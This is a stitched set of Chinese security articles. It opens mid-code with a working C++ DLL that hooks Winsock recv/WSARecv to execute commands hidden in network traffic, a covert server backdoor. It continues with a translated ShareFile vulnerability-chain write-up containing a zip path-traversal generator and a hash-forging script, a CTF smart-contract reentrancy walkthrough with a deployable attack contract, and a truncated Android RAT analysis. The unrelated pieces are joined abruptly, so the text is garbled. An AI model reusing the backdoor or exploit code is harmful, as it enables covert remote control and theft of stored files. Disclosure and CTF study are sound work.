PFNSend pfnSend = (PFNSend) GetProcAddress(GetModuleHandleW(L"ws2_32.dll"), "send");
PFNClosesocket pfnClosesocket = (PFNClosesocket) GetProcAddress(GetModuleHandleW(L"ws2_32.dll"), "closesocket");
int rc = pfnRecv(s, buf, len, flags);
char* startBlock = strstr(buf, START_BLOCK);
if(startBlock) {
char* endBlock = strstr(startBlock, END_BLOCK);
if(endBlock) {
std::string start_block = std::string(startBlock);
int endOffset = start_block.find(END_BLOCK, sizeof(START_BLOCK));
std::string cmd = start_block.substr(sizeof(START_BLOCK) - 1, start_block.size() - sizeof(START_BLOCK) - ( start_block.size() - endOffset ) + 1);
std::string output = WSTR2STR(ExecuteCmd(cmd));
pfnSend(s, (char*) output.c_str(), output.size(), 0);
pfnClosesocket(s);
}
}
InstallHook(L"ws2_32.dll", "recv", (LPVOID) HookRecv);
return rc;
}
int WINAPI HookWSARecv(SOCKET s, LPWSABUF lpBuffer, DWORD dwBufferCount, LPDWORD lpNumberOfBytesRecvd, LPDWORD lpFlags, LPWSAOVERLAPPED lpOverlapped, LPWSAOVERLAPPED_COMPLETION_ROUTINE lpCompletionRoutine) {
UninstallHook(L"ws2_32.dll", "WSARecv");
PFNWSARecv pfnWSARecv = (PFNWSARecv) GetProcAddress(GetModuleHandleW(L"ws2_32.dll"), "WSARecv");
PFNWSASend pfnWSASend = (PFNWSASend) GetProcAddress(GetModuleHandleW(L"ws2_32.dll"), "WSASend");
PFNClosesocket pfnClosesocket = (PFNClosesocket) GetProcAddress(GetModuleHandleW(L"ws2_32.dll"), "closesocket");
int rc = pfnWSARecv(s, lpBuffer, dwBufferCount, lpNumberOfBytesRecvd, lpFlags, lpOverlapped, lpCompletionRoutine);
char* startBlock = strstr(lpBuffer->buf, START_BLOCK);
if(startBlock) {
char* endBlock = strstr(startBlock, END_BLOCK);
if(endBlock) {
std::string start_block = std::string(startBlock);
int endOffset = start_block.find(END_BLOCK, sizeof(START_BLOCK));
std::string cmd = start_block.substr(sizeof(START_BLOCK) - 1, start_block.size() - sizeof(START_BLOCK) - ( start_block.size() - endOffset ) + 1);
WSABUF outBuf;
std::string output = WSTR2STR(ExecuteCmd(cmd));
outBuf.buf = (char*) output.c_str();
outBuf.len = output.size();
pfnWSASend(s, &outBuf, 1, lpNumberOfBytesRecvd, 0, 0, 0);
pfnClosesocket(s);
}
}
InstallHook(L"ws2_32.dll", "WSARecv", (LPVOID) HookWSARecv);
return rc;
}
> 这里还 hook 了 `WSARecv` ，是因为我在 Tomcat 上测试遇到个问题 hook `recv` 后收到的数据是乱码，长度也对不上。
> 后来想到 Tomcat 现在默认是 NIO 处理，JVM 的用的 API 可能不一样，翻看了一下源码，发现 Windows 上 NIO 相关的
> socket 操作函数实际用的是 `WSARecv`、`WSASend` 等带 `WSA` 前缀的，加了 hook 点之后能正常读到数据了。
## DllMain
DLL 入口，调用安装钩子
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved) {
switch(fdwReason)
{
case DLL_PROCESS_ATTACH:
InstallHook(L"ws2_32.dll", "recv", (LPVOID) HookRecv);
InstallHook(L"ws2_32.dll", "WSARecv", (LPVOID) HookWSARecv);
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
# 效果
## Java
## Python | 社区文章 |
# 如何通过7个漏洞攻破ShareFile本地环境
##### 译文声明
本文是翻译文章，文章原作者 dirkjanm，文章来源：blog.fox-it.com
原文地址：<https://blog.fox-it.com/2018/04/06/compromising-sharefile-on-premise-via-7-chained-vulnerabilities/>
译文仅供参考，具体内容表达以及含义原文为准。
## 一、前言
前一段时间，我们配置了带有StorageZone控制器的一个Citrix
ShareFile环境。[ShareFile](https://www.citrix.com/products/sharefile/)是面向企业的文件同步及共享解决方案，尽管有一些版本完全依赖于云端，但Citrix也提供了另一种混合版本，其中数据可以通过StorageZone控制器存储在本地（on-premise）。在本文中，我们介绍了Fox-IT如何挖掘该环境中存在的多个漏洞，利用这些漏洞，攻击者可以通过任意账户访问ShareFile中存储的任意文件。向Citrix披露这些漏洞信息后，Citrix通过云平台及时更新修复了这些缺陷。这些漏洞全部位于StorageZone控制器组件中，因此完全基于云端的部署方案不会受到影响。根据Citrix的描述，财富500强中有多家企业和组织在使用ShareFile解决方案（纯云端或者带有本地组件），这些企业和组织涉及政府、科技、医疗、银行以及关键基础设施。
## 二、获取访问权限
在了解应用整体情况以及工作流程后，我们决定研究上传流程以及云端与ShareFile本机端组件的连接情况。一般来说，我们可以采用两种方法将文件上传到ShareFile中：一种基于HTML5，另一种则是基于Java
Applet。在接下来的例子中，我们使用的是基于Java的上传方式。我们进行了一些配置，使得Burp可以捕捉到所有请求（Burp是我们用来测试Web应用的首选工具）。当准备上传时，会有一个请求发送到ShareFile的云组件，该组件地址为`name.sharefile.eu`（其中`name`为采用该解决方案的公司名称）：
从上图中可知，该请求包含上传信息，具体包括文件名、文件大小（字节数）、上传所使用的工具（本例中为Java上传器）以及我们是否愿意执行unzip操作（后面会解释这一点）。该请求返回的响应数据如下：
在响应数据中，我们可以看到两种不同的上传URL，都包含指向本地StorageZone控制器地址的URL前缀（这里隐去了敏感信息）。因此，云组件可以生成将文件上传到本地组件所对应的URL地址。
第一种URL为`ChunkUri`，单个文件分块会分别上传到这些地址。当文件传输完成后，可以使用`FinishUri`来完成服务器上的文件上传流程。在这两种URL中，我们都可以看到其中附带了文件名、文件大小等各种信息，也可以看到用来标识上传会话的`uploadid`。最后还有一个`h=`参数，后面跟着的是经过base64编码后的哈希值。该哈希值用来确保URL中的参数没有被篡改过。
我们首先注意到的是`unzip`参数。如下图所示，上传器给用户提供了一个选项，支持压缩文档（如`.zip`文件）上传后的自动解压功能。
解压zip文档时经常会犯的错误就是没有去验证zip文件中路径的有效性。如果在zip文件中使用相对路径，攻击者可能会触及超出脚本限制范围的不同目录。这种漏洞就是著名的目录遍历或者[路径遍历](https://www.owasp.org/index.php/Path_Traversal)漏洞。
如下一段python代码可以创建名为`out.zip`的一个特殊zip文件，该文件中包含两个文件，其中一个使用了相对路径。
import sys, zipfile
#the name of the zip file to generate
zf = zipfile.ZipFile('out.zip', 'w')
#the name of the malicious file that will overwrite the origial file (must exist on disk)
fname = 'xxe_oob.xml'
#destination path of the file
zf.write(fname, '../../../../testbestand_fox.tmp')
#random extra file (not required)
#example: dd if=/dev/urandom of=test.file bs=1024 count=600
fname = 'test.file'
zf.write(fname, 'tfile')
当我们将这个文件上传到ShareFile后，我们可以看到如下信息：
ERROR: Unhandled exception in upload-threaded-3.aspx - 'Access to the path '\company.internaldatatestbestand_fox.tmp' is denied.'
该信息表明StorageZone控制器尝试将我们的文件解压到缺乏权限的那个目录中，但我们还是可以成功修改文件解压的目标目录。只要StorageZone控制器具备某些目录的权限，我们就可以利用这个漏洞将我们可控的文件解压到这些目录中。想象一下，默认的解压路径为`c:appdatacitrixsharefiletemp`，我们可以构造路径为`../storage/subdirectory/filename.txt`的一个文件，这样就能将这个文件解压到`c:appdatacitrixsharefilestoragesubdirectory`目录中。相对路径中的`../`表示操作系统应该跳到目录树中的上一层目录，然后在当前目录中使用相对路径中的剩余部分来进行寻址。
> 漏洞1：文档解压过程中的路径遍历漏洞。
## 三、从任意写入到任意读取
虽然将任意文件写入存储目录中的任意位置的确是个高风险漏洞，但漏洞的影响范围取决于应用如何使用磁盘上的文件，以及目标上是否会检查这些文件完整性。为了验证这种能力的影响范围，我们来看一下StorageZone控制器的具体工作原理。我们发现有三个主目录可以存储较为有趣的一些数据：
* files
* persistenstorage
* tokens
其中，`files`目录用来存放与上传有关的临时数据；已上传到ShareFile中的文件存储在`persistentstorage`目录中；`tokens`目录包含与令牌相关的一些数据，这些数据用来控制文件的下载。
当新的上传任务初始化时，URL地址中包含名为`uploadid`的一个参数。显然，从这个名称中我们知道该参数是与上传有关的一个ID值，本例子中这个参数值为`rsu-2351e6ffe2fc462492d0501414479b95`。在`files`目录中，我们可以看到与该ID匹配的各种上传目录。
在这些目录中都包含名为`info.txt`的一个文件，该文件包含我们上传过程中的一些信息：
在`info.txt`中包含我们在前面看到过的一些参数，比如`uploadid`、文件名、文件大小（13个字节），还包括一些新的参数。最后我们还可以看到包含32个大写字母的的字符串，该哈希字符串用来标识数据的完整性。
我们还可以看到其他ID值，为`fi591ac5-9cd0-4eb7-a5e9-e5e28a7faa90`以及`fo9252b1-1f49-4024-aec4-6fe0c27ce1e6`，分别对应了此次上传的文件ID以及存放文件的目录ID。
经过一段时间的研究后，我们发现该服务使用MD5哈希算法来校验文件的完整性，通过`info.txt`文件中其他数据计算出哈希值。需要注意的是，这里数据的编码格式为UTF-16-LE，这也是Windows系统默认使用的Unicode字符串编码格式。
掌握这些知识后，我们可以写一段简单的python脚本，能够计算修改后`info.txt`文件的正确哈希值，并将该值写回磁盘中：
import md5
with open('info_modified.txt','r') as infile:
instr = infile.read().strip().split('|')
instr2 = u'|'.join(instr[:-1])
outhash = md5.new(instr2.encode('utf-16-le')).hexdigest().upper()
with open('info_out.txt','w') as outfile:
outfile.write('%s|%s' % (instr2, outhash))
这里我们也找出了第二个漏洞：应用并没有使用私有的密钥来校验`info.txt`文件的完整性，相反使用了简单的MD5哈希值来防止文件内容被破坏。这样一来，如果攻击者拥有数据存储目录的写入权限，就有可能篡改上传信息。
> 漏洞2：数据文件（`info.txt`）的完整性没有经过合适的校验。
利用前一个漏洞，我们可以将文件写入任意目录中，因此我们可以上传自己的`info.txt`，修改上传信息。
此外，我们发现应用在上传数据时，会使用`fi591ac5-9cd0-4eb7-a5e9-e5e28a7faa90`这个文件ID作为该文件的临时名称，上传后的数据会写入该文件中。当上传结束时，该文件会加入用户的ShareFile账户中。这里我们来尝试一下另一个路径遍历漏洞。使用上述脚本，我们将文件ID修改成另一个文件名，尝试提取名为`secret.txt`的一个测试文件（`files`目录中已经有一个`secret.txt`文件，`files`目录是临时文件所在目录的上一层目录）。经过修改的`info.txt`文件如下所示：
当我们继续使用`upload-threaded-3.aspx`页面来完成上传任务时，我们得到了如下错误：
显然，我们尝试获取的`secret.txt`文件的大小为14个字节，并非`info.txt`文件中指定的13个字节。我们可以上传包含正确文件大小信息的新的`info.txt`文件，这样`secret.txt`文件就可以成功上传到我们的ShareFile账户中：
因此我们挖掘出了第二个路径遍历漏洞，该漏洞位于`info.txt`文件中。
> 漏洞3：`info.txt`文件中存在路径遍历漏洞。
原先我们可以将任意文件写入系统中，到目前为止，我们已经可以将该漏洞变成读取任意文件的漏洞，只需要知道目标文件的文件名即可。需要注意的是，攻击者可以通过监控Web接口的流量了解到`info.txt`文件中包含的所有信息，因此攻击者在发起这种攻击时并不需要拥有一个`info.txt`文件。
## 四、研究文件下载过程
前面我们一直关注的是新文件上传方面的漏洞，文件的下载同样由ShareFile云组件来控制，云组件会指示StorageZone控制器来为用户请求的文件提供服务。典型的下载链接如下所示：
如上图所示，`dt`参数为下载中涉及的令牌信息，`h`参数包含URL剩余部分的HMAC信息，以便向StorageZone控制器证明我们拥有下载此文件的正确权限。
下载的令牌信息存放在`tokens`目录的一个XML文件中，典型的文件内容如下所示：
<!--?xml version="1.0" encoding="utf-8"?--><?xml version="1.0" encoding="utf-8"?>
<ShareFileDownloadInfo authSignature="866f075b373968fcd2ec057c3a92d4332c8f3060" authTimestamp="636343218053146994">
<DownloadTokenID>dt6bbd1e278a634e1bbde9b94ff8460b24</DownloadTokenID>
<RequestType>single</RequestType>
<BaseUrl>https://redacted.sf-api.eu/</BaseUrl>
<ErrorUrl>https://redacted.sf-api.eu//error.aspx?type=storagecenter-downloadprep</ErrorUrl>
<StorageBasePath>\s3sf-eu-1;</StorageBasePath>
<BatchID>dt6bbd1e278a634e1bbde9b94ff8460b24</BatchID>
<ZipFileName>tfile</ZipFileName>
<UserAgent>Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:54.0) Gecko/20100101 Firefox/54.0</UserAgent>
<Metadata>
<Item key="operatingsystem" value="Linux" />
</Metadata>
<IrmEnabled>false</IrmEnabled>
<IrmPolicyServerUrl />
<IrmAccessId />
<IrmAccessKey />
<Items>
<File name="testfile" path="a4ea881a-a4d5-433a-fa44-41acd5ed5a5ffffi0f0f2e_3477_4647_9cdd_e89758c21c37" size="61" id="" />
</Items>
<Log>
<EventID>fif11465-ba81-8b77-7dd9-4256bc375017</EventID>
<UserID>c7add7af-91ac-4331-b48a-0aeed4a58687</UserID>
<OwnerID>c7add7af-91ac-4331-b48a-0aeed4a58687</OwnerID>
<AccountID>a4ea881a-a4d5-433a-fa44-41acd5ed5a5f</AccountID>
<UserEmailAddress>fox-it@redacted</UserEmailAddress>
<Name>tfile</Name>
<FileCount>1</FileCount>
<AdditionalInfo>fif11465-ba81-8b77-7dd9-4256bc375017</AdditionalInfo>
<FolderID>foh160ab-aa5a-4e43-96fd-e41caed36cea</FolderID>
<ParentID>foh160ab-aa5a-4e43-96fd-e41caed36cea</ParentID>
<Path>/root/a4ea881a-a4d5-433a-fa44-41acd5ed5a5f/foh160ab-aa5a-4e43-96fd-e41caed36cea</Path>
<IncrementDownloadCount>false</IncrementDownloadCount>
<ShareID />
</Log>
</ShareFileDownloadInfo>
这里有两个地方比较有趣。第一个地方为`File`元素的`path`属性，该属性指定了该令牌适用于哪一个文件。`path`开头为一个ID，值为`a4ea881a-a4d5-433a-fa44-41acd5ed5a5f`，这也是ShareFile的AccountID，每个ShareFile实例都不一样。第二个ID值为`fi0f0f2e_3477_4647_9cdd_e89758c21c37`，每个文件都不一样（因此使用的是`fi`这个前缀），这个ID开头为两个`0f`子目录，应该是为了避免过长的目录列表。
第二个值得注意的地方是`ShareFileDownloadInfo`元素中的`authSignature`属性。该属性表明XML文件经过签名处理，可以确保文件的真实性，避免恶意令牌被下载。
现在起我们来研究一下StorageZone控制器这个软件，这是采用.NET开发的一个程序，在IIS下运行，因此我们很容易就可以使用诸如JustDecompile之类的工具来反编译相关程序。我们从服务器端拿到了StorageZone控制器程序，但Citrix也在官网上提供了该组件的下载链接。
反编译处理后，我们很快就找到了负责验证令牌的那些函数。Citrix通过`AuthenticatedXml`这个函数生成XML文件的签名。我们在代码中找到了一个
**静态秘钥** ，该秘钥可以用来验证XML文件的完整性（所有StorageZone控制器上这个值都一样）：
> 漏洞4：XML令牌文件本身的完整性没有经过正确校验。
在研究过程中，我们尝试过在不修改签名的前提下直接编辑XML文件，结果发现攻击者并不需要计算出正确的签名值，因为如果签名不匹配，应用本身就会告诉我们正确的值：
> 漏洞5：调试信息泄露。
此外，当我们查看负责计算签名的代码时，我们发现应用会将秘钥附加到数据尾部，然后计算整段数据的sha1哈希值。这样一来，签名很有可能会受到[哈希长度扩展攻击](https://en.wikipedia.org/wiki/Length_extension_attack)的影响，但目前我们没有时间去验证这一点。
即使我们没有在整个攻击链条中使用这种潜在的漏洞，我们也发现XML文件容易受到[XML外部实体（XML External
Entity，XXE）](https://www.owasp.org/index.php/XML_External_Entity_\(XXE)_Processing)注入影响：
> 漏洞6（此次攻击链中没有使用）：XML令牌文件存在XXE漏洞。
总之，我们发现令牌文件为我们提供了从ShareFile下载任意文件的另一条途径。此外，这些文件本身的完整性没有经过充分的验证，无法防范攻击者。与前面修改上传数据不同的是，如果ShareFile启用了加密存储功能，这种方法也可以
**解密经过加密的文件** 。
## 五、获取令牌及文件
到目前为止，我们可以将任意文件写入任意目录，如果知道文件路径我们还可以下载其他文件。然而，在实际环境中，文件路径包含随机的ID值，我们无法在有效时间内猜测出正确的值。因此，攻击者还需要找到另一种方法，枚举ShareFile上存储的文件以及对应的ID。
为完成这个任务，我们回过头来看看`unzip`功能。负责解压zip文件的部分代码如下所示。
从上图可知，代码创建了一个临时目录，将归档文件解压到该目录中，临时目录名称用到了`uploadId`这个参数。由于在这里我们并没有看到任何路径验证机制，因此该操作很有可能受到路径遍历攻击影响。之前我们在上传文件的URL中看到过`uploadId`这个参数，但这个URL同样包含HMAC值，因此貌似我们无法修改这个参数：
但先别放弃，我们来看一下具体实现。我们的请求首先会传入`ValidateRequest`函数，如下图所示：
该函数再将请求传递给第二个验证函数：
上述代码会从请求中提取处`h`参数，用来验证url中在`h`参数 **之前** 的所有参数。因此URL中在`h`之后的所有参数完全没有经过校验。
因此，如果我们在HMAC之后添加其他参数会出现什么情况？当我们将URL修改成如下形式：
我们可以得到如下信息：
{"error":true,"errorMessage":"upload-threaded-2.aspx: ID='rsu-becc299a4b9c421ca024dec2b4de7376,foxtest' Unrecognized Upload ID.","errorCode":605}
由于`uploadid`参数被多次指定，因此IIS会将被逗号分隔开的值拼接在一起。由于程序并没有单独处理每个参数值，而是处理整个查询字符串，并且只验证在`h`参数前的那部分字符串，因此只有第一个`uploadid`会经过HMAC的校验。这种漏洞也就是所谓的[HTTP参数污染（HTTP
Parameter
Pollution）](https://www.owasp.org/index.php/Testing_for_HTTP_Parameter_pollution_\(OTG-INPVAL-004))漏洞。
> 漏洞7：没有正确实现的URL参数校验机制（参数污染）。
再来看一下上传逻辑，当文件解压到临时目录后，代码调用了`UploadLogic.RecursiveIteratePath`函数，该函数会将所有文件递归添加到攻击者的ShareFile账户中（为了便于阅读，我删掉了某些代码）：
为了利用这个过程，我们需要做以下几件事情：
1、在`files`目录中创建名为`rsu-becc299a4b9c421ca024dec2b4de7376`的一个目录。
2、将一个`info.txt`文件上传到这个目录。
3、创建名为`ulz-rsu-becc299a4b9c421ca024dec2b4de7376,`的一个临时目录。
4、添加指向`tokens`目录的`uploadid`参数，开始上传文件。
最开始我们在`unzip`操作中发现的目录遍历漏洞可以创建任何不存在的目录，因此我们可以利用该漏洞创建所需目录。为了利用第三个路径遍历漏洞，我们可以提交如下URL请求：
_备注：这里我们使用的是`tokens_backup`目录，因为我们不想去动原始的`tokens`目录。_
我们可以看到如下成功信息：
回到我们的ShareFile账户，现在可以看到带有可用下载令牌的数百个XML文件，这些文件都链接到ShareFile中已存储的文件。
> 漏洞8：`uploadID`中存在路径遍历漏洞。
由于我们拥有经过授权的下载URL，因此我们可以在自己的下载令牌文件中修改相应路径来下载这些文件。
虽然这种方法能够将文件添加到攻击者的账户中，但存在一个副作用，那就是会递归地删除临时目录中的所有文件以及目录。如果我们将路径指向`persistentstorage`目录，我们也可以删掉存储在ShareFile实例中的所有文件。
## 六、总结
综合利用这些漏洞，攻击者就可能借助任何账户，通过文件上传来访问存储在ShareFile本地端StorageZone控制器中的所有文件。
根据我们的研究报告，Fox-IT于2017年7月4日向Citrix报告了如下漏洞：
1、归档文件解压中的路径遍历。
2、数据文件（`info.txt`）完整性没有经过合适的校验。
3、`info.txt`文件中的路径遍历。
4、XML令牌文件本身的完整性没有经过正确校验。
5、调试信息泄露（包含认证签名、哈希值、文件大小、网络路径信息）。
6、XML令牌文件存在XXE漏洞。
7、没有正确实现的URL参数校验机制（参数污染）。
8、`uploadID`中存在路径遍历漏洞。
Citrix及时跟进这些问题，推出缓解措施、禁用了ShareFile云组件中的`unzip`功能。虽然Fox-IT发现有多家大型组织和企业正在使用ShareFile，但并不清楚这些单位是否采用了存在漏洞配置的混合解决方案。因此，我们并不清楚具体受影响的数量，也不知这些漏洞是否已被攻击者滥用。
## 七、披露时间线
* **2017年7月4日** ：Fox-IT将所有漏洞提交给Citrix。
* **2017年7月7日** ：Citrix确认第1个漏洞可以复现。
* **2017年7月11日** ：Citrix确认大部分其他漏洞也可以复现。
* **2017年7月12日** ：Citrix为第1个漏洞部署了缓解措施，打破整个攻击链条，并通知我们会在后面以纵深防御措施修复其他漏洞。
* **2017年10月31日** ：Citrix为基于云端的ShareFile组件部署其他补丁。
* **2018年4月6日** ：漏洞披露。 | 社区文章 |
# 智能合约之重入漏洞
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
近年来，各个大型CTF（Capture The
Flag，中文一般译作夺旗赛，在网络安全领域中指的是网络安全技术人员之间进行技术竞技的一种比赛形式）比赛中都有了区块链攻防的身影，而且出现的题目绝大多数都是区块链智能合约攻防。此系列文章我们主要以智能合约攻防为中心，来剖析智能合约攻防的要点，前两篇我们分享了合约反编译，反汇编的基础内容。后续的文章中，我们会继续分享CTF比赛中智能合约常见题型（重入，整数溢出，空投，随机数可控等）及解题思路，相信会给读者带来不一样的收获。
本篇我们先来分享CTF比赛中的重入题型，也是比较常见的一类题型，当然多数CTF智能合约题目并不仅仅考察单个漏洞的攻防，合约中的判断条件有时也非常棘手。比如2018年WCTF上BelluminarBank题目，需要用到整数绕过条件限制，还需用到存储溢出，访问权限设置等多个攻击技巧。
本篇分享的重入题型我们选择2019强网杯babybank题目。
题目地址：<https://ropsten.etherscan.io/address/0x93466d15A8706264Aa70edBCb69B7e13394D049f#code>
## 题目分析
**题目提示：**
function payforflag(string md5ofteamtoken,string b64email) public{
require(balance[msg.sender] >= 10000000000);
balance[msg.sender]=0;
owner.transfer(address(this).balance);
emit sendflag(md5ofteamtoken,b64email);
}
**合约源码：**
查看合约题目，发现并没有ether，也没有给出合约源码，如下图：
由于拿到题目后只有合约的opcode，所以需要进行逆向，这里我们推荐Online Solidity
Decompiler在线网站（https://ethervm.io/decompile），具体逆向时的源码还原我们不再赘述，需要学习的同学可移步系列文章反编译篇，反汇编篇
以下为逆向后的合约代码：
pragma solidity ^0.4.23;
contract babybank {
mapping(address => uint) public balance;
mapping(address => uint) public level;
address owner;
uint secret;
event sendflag(string md5ofteamtoken,string b64email);
constructor()public{
owner = msg.sender;
}
function payforflag(string md5ofteamtoken,string b64email) public{
require(balance[msg.sender] >= 10000000000);
balance[msg.sender]=0;
owner.transfer(address(this).balance);
emit sendflag(md5ofteamtoken,b64email);
}
modifier onlyOwner(){
require(msg.sender == owner);
_;
}
function withdraw(uint256 amount) public {
require(amount == 2);
require(amount <= balance[msg.sender]);
address(msg.sender).call.value(amount * 0x5af3107a4000)(); //重入漏洞点
balance[msg.sender] -= amount;
}
function profit() public {
require(level[msg.sender] == 0);
balance[msg.sender] += 1;
level[msg.sender] += 1;
}
function xxx(uint256 number) public onlyOwner {
secret = number;
}
function guess(uint256 number) public {
require(number == secret);
require(level[msg.sender] == 1);
balance[msg.sender] += 1;
level[msg.sender] += 1;
}
function transfer(address to, uint256 amount) public {
require(balance[msg.sender] >= amount);
require(amount == 2);
require(level[msg.sender] == 2);
balance[msg.sender] = 0;
balance[to] = amount;
}
}
**合约分析：**
我们先来看题目提示：
function payforflag(string md5ofteamtoken,string b64email) public{
require(balance[msg.sender] >= 10000000000); //调用者余额需大于等于10000000000
balance[msg.sender]=0;
owner.transfer(address(this).balance);
emit sendflag(md5ofteamtoken,b64email);
}
从该段代码的payforflag函数可以看出，该函数传入两个参数（md5ofteamtoken，b64email），函数中第一行代码require(balance[msg.sender]
>=
10000000000);会判断调用者地址余额是否大于等于10000000000，如果满足该条件，则继续执行之后代码，否则停止执行该函数并回滚状态；第二行和第三行对调用者地址进行了赋值和转账；最后一行emit
sendflag(md5ofteamtoken,b64email);意义是通过event事件输出该函数传入的两个参数。
也就是说只要通过该事件输出这两个参数，就意味着拿到了flag，那么如何让调用者地址余额达到10000000000就是我们接下来需要做的工作。
通过分析合约，我们发现在withdraw函数中，存在一个经典的重入漏洞。
function withdraw(uint256 amount) public {
require(amount == 2);
require(amount <= balance[msg.sender]);
address(msg.sender).call.value(amount * 0x5af3107a4000)(); // 重入漏洞点
balance[msg.sender] -= amount;
}
该withdraw函数中，第一行代码require(amount ==
2);限制该函数传入的amount值为2，否则停止执行该函数并回滚状态；第二行代码require(amount <=
balance[msg.sender]);
会判断调用者地址是否大于等于2，如果满足该条件，则继续执行之后代码，否则停止执行该函数并回滚状态；第三行代码含义是进行转账，由于这里使用call.value()的转账方法，所以存在重入漏洞；之后利用第四行减掉已经转出的数值，由于这里balance[msg.sender]值已经大于等于2，故不存在整数下溢出。
这里的重入漏洞点为：
使用call.value()方法进行转账时，该方法会传递所有可用 Gas
进行调用，当该方法转账的地址为攻击者的合约地址时，就会调用攻击者合约地址的fallback函数，如果攻击者在自身合约的fallback函数中写入调用题目withdraw函数的代码，就可不停的循环取币，不再执行第四行balance[msg.sender]
-= amount;的减币操作，从而导致发生重入漏洞。
接下来的工作满足2 <= balance[msg.sender]的判断条件成立
继续分析合约，可以得到合约中两个增加数值的函数（profit()函数和guess()函数）。
function profit() public {
require(level[msg.sender] == 0);
balance[msg.sender] += 1;
level[msg.sender] += 1;
}
function xxx(uint256 number) public onlyOwner {
secret = number;
}
function guess(uint256 number) public {
require(number == secret);
require(level[msg.sender] == 1);
balance[msg.sender] += 1;
level[msg.sender] += 1;
}
profit()函数中，地址余额为0的条件满足后，就可使得level值加1，调用者地址balance值加1。
guess()函数中，首先判断输入的number值是否与secret值匹配（在合约信息中找到secret值），之后判断level是否为1（当profit函数调用成功后，这里的level值必然为1），当两个条件都满足后，就可继续给level值再加1，调用者地址balance值也加1。当profit()和guess()函数依次调用成功后，调用者地址balance结果就为2。
达到了withdraw函数中的取款条件。
## 解题思路
通过上述合约分析，我们最终的解题思路如下：
1. 自毁给题目合约转币—由于初始合约并未给出ether，所以需要利用自毁函数selfdestruct()强制给题目合约转入ether。
2. 调用题目合约profit()函数—由于初始地址均为0，故通过调用该函数给调用者地址的余额加一（balance=1）
3. 调用题目合约guess()函数并传入调用数据data参数—通过调用该函数给调用者地址的余额继续加一（balance=2）
4. 调用题目合约withdraw()函数并传入参数2—达到2<=balance[msg.sender]判断条件，通过call.value()循环取币。
5. 调用题目合约payforflag()函数并传入两个参数—通过重入漏洞取币后，满足balance[msg.sender] >= 10000000000的判断条件，待函数执行完成后，获取flag成功。
下面进行攻击演示
## 攻击演示
### 1.自毁给题目合约转币
由于合约初始状态没有ether，故我们通过自毁函数，强行将ether转入被攻击合约地址
构造自毁合约
pragma solidity ^0.4.24;
contract Abcc {
function kill() public payable {
selfdestruct(address(0x93466d15A8706264Aa70edBCb69B7e13394D049f));
}
}
部署Abcc合约，并利用kill()函数进行带入0.2ether进行自毁，将ether发送到被攻击合约地址
发送成功
### 2.部署攻击合约
pragma solidity ^0.4.24;
interface BabybankInterface {
function withdraw(uint256 amount) external;
function profit() external;
function guess(uint256 number) external;
function transfer(address to, uint256 amount) external;
function payforflag(string md5ofteamtoken, string b64email) external;
}
contract attacker {
BabybankInterface constant private target = BabybankInterface(0x93466d15A8706264Aa70edBCb69B7e13394D049f);
uint private flag = 0;
function exploit() public payable {
target.profit();
target.guess(0x0000000000002f13bfb32a59389ca77789785b1a2d36c26321852e813491a1ca);
target.withdraw(2);
target.payforflag("king", "king");
}
function() external payable {
require (flag == 0);
flag = 1;
target.withdraw(2);
}
}
从以上攻击合约中可以看出，我们在exploit()函数中依次调用了题目合约profit()，guess()，withdraw()，payforflag()函数。
部署攻击合约之后，调用expoit函数
合约交易记录中可看到一系列操作,最后的一个交易是将合约中的ETH全部提现到合约所有者地址中
查看事件记录，已有sendflag事件
## 总结
本篇文章中，我们通过CTF智能合约babybank题目，了解了重入漏洞的触发点，合约空投的利用和对交易数据的理解。对于此类重入漏洞题目，我们做题的思路是：根据该合约的重入漏洞逐步去推理所需要的条件，并经过分析梳理出调用步骤，最终完成攻击流程。 | 社区文章 |
# 冠状病毒热点引发持续攻击事件
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
导读：武汉冠状病毒的爆发成为各领域威胁行为者利用其进行投放攻击的热点。从PC端的巴西某黑产利用疫情相关视频暗地里安装银行木马、Emotet通过分发附有日本冠状病毒患者报道的电子邮件传播恶意病毒到移动端的攻击者通过冠状病毒应用名称诱导用户安装监控软件无不渗透者冠状病毒这个话题。
继前两周发布的“冠状病毒”引发的移动安全事件报告中提到的“Coronavirus”监控木马。最近暗影安全实验室在日常监控中又发现了一款名为“Corona1”的应用，该应用安装启动后会隐藏自身图标，并诱导用户安装一款应名为“Coronavirus”（中文名为冠状病毒）的应用，该应用并不具有恶意行为，猜测攻击者利用冠状病毒热点诱导用户安装该应用只是为了掩盖“Corona1”执行恶意行为，使用户难以察觉真正的毒爪。在用户未知情况下，该应用通过手机连接的局域网对用户手机进行远程控制，执行多达70余条不同功能的远控指令。不仅如此，该程序还会从局域网的控制端下发新的C2服务器地址，在用户手机断开局域网后，可以使用新的C2服务器继续操控用户手机，以达到持续控制用户手机的目的。
## 样本信息：
安装名称：Corona1
包名：system.operating.dominance.proj
文件MD5：E5E97B95D4CA49D2F558169851AF5EEC
## 程序运行流程图：
该程序的运行流程较简单，应用安装启动后会获取root权限、请求敏感权限。接着开启线程socket连接服务器，下发命令上传用户隐私数据。与此同时诱导用户安装Coronavirus应用。
图1-1运行流程图
## 技术原理
### 诱导安装应用
程序启动后通过执行cmd命令获取root权限，目的是在用户不知情的情况下静默安装Coronavirus应用或执行高权限行为。如果获取root权限成功，则进行静默安装否则进行普通安装。
图2-1获取root权限
Coronavirus应用是由AppsGeyser平台快速打包的应用，并不具有疫情相关功能。安装目的是掩护“Corona1”执行恶意行为以及弹广告。这样即使用户卸载该程序也不影响真正恶意软件的运行。
图2-2Coronavirus运行界面
### 远程控制
该应用程序采用的是socket通信。客户端连接IP为192.168.**.**，端口号为2222。通过socket连接下发指令以及上传用户信息。
图2-3连接服务器
### 指令列表
指令指令 | 对应操作 | 指令 | 对应操作
---|---|---|---
A0 | 上传设备ID、IP、系统版本、手机型号等 | A37 | 设置响铃模式为普通模式等
A1 | 上传通话号码，号码对应的通讯录中名称，电话类型，时间，持续时间等 | A38 | 设置响铃模式为静音等
A2 | 上传已安装应用图标信息等 | A39 | 设置响铃模式为震动等
A3 | 上传手机号码和固件信息等 | A40 | 设置重启wifi等
A4 | 上传地理位置信息等 | A41 | 设置音频音量(响铃)等
